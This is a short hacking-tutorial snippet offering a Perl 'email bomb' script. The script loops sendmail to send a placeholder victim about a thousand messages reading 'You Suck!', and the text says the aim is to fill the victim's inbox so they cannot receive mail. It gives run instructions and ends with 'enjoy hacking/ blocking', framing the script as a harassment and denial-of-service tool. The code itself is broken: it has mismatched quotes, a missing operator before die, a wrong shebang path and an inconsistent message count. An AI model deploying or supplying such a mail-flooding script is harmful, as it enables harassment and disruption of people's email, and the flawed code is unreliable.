Sample Email Bomb.....

/*Email.pl--- a program name*/

#!usr/bin/perl
$mailprog = `/usr/lib/sendmail';
$recipient = `victim@targeted_site.com';
$variable_initialized_to_0 = 0;
while ($variable_initialized_to_0 < 1000)
{
open (MAIL, "$mailprog $recipient") die "Can't open $mailprog!\n";
print MAIL "You Suck!";
close(MAIL);
sleep 3;
$variable_initialized_to_0++;
}
#this program is a email bomb program written in perl which will send 999 email to the Victim@targeted_site.com thereby making the inbox of the victim full and will have no space to store more email's
this technique is great when u want to block someone... in getting mails..
to run this program u require a PERL complier and a active internet connection...
else
if ur using any of unixes then create a file as email.pl and run in terminal !!!
thus... enjoy hacking/ blocking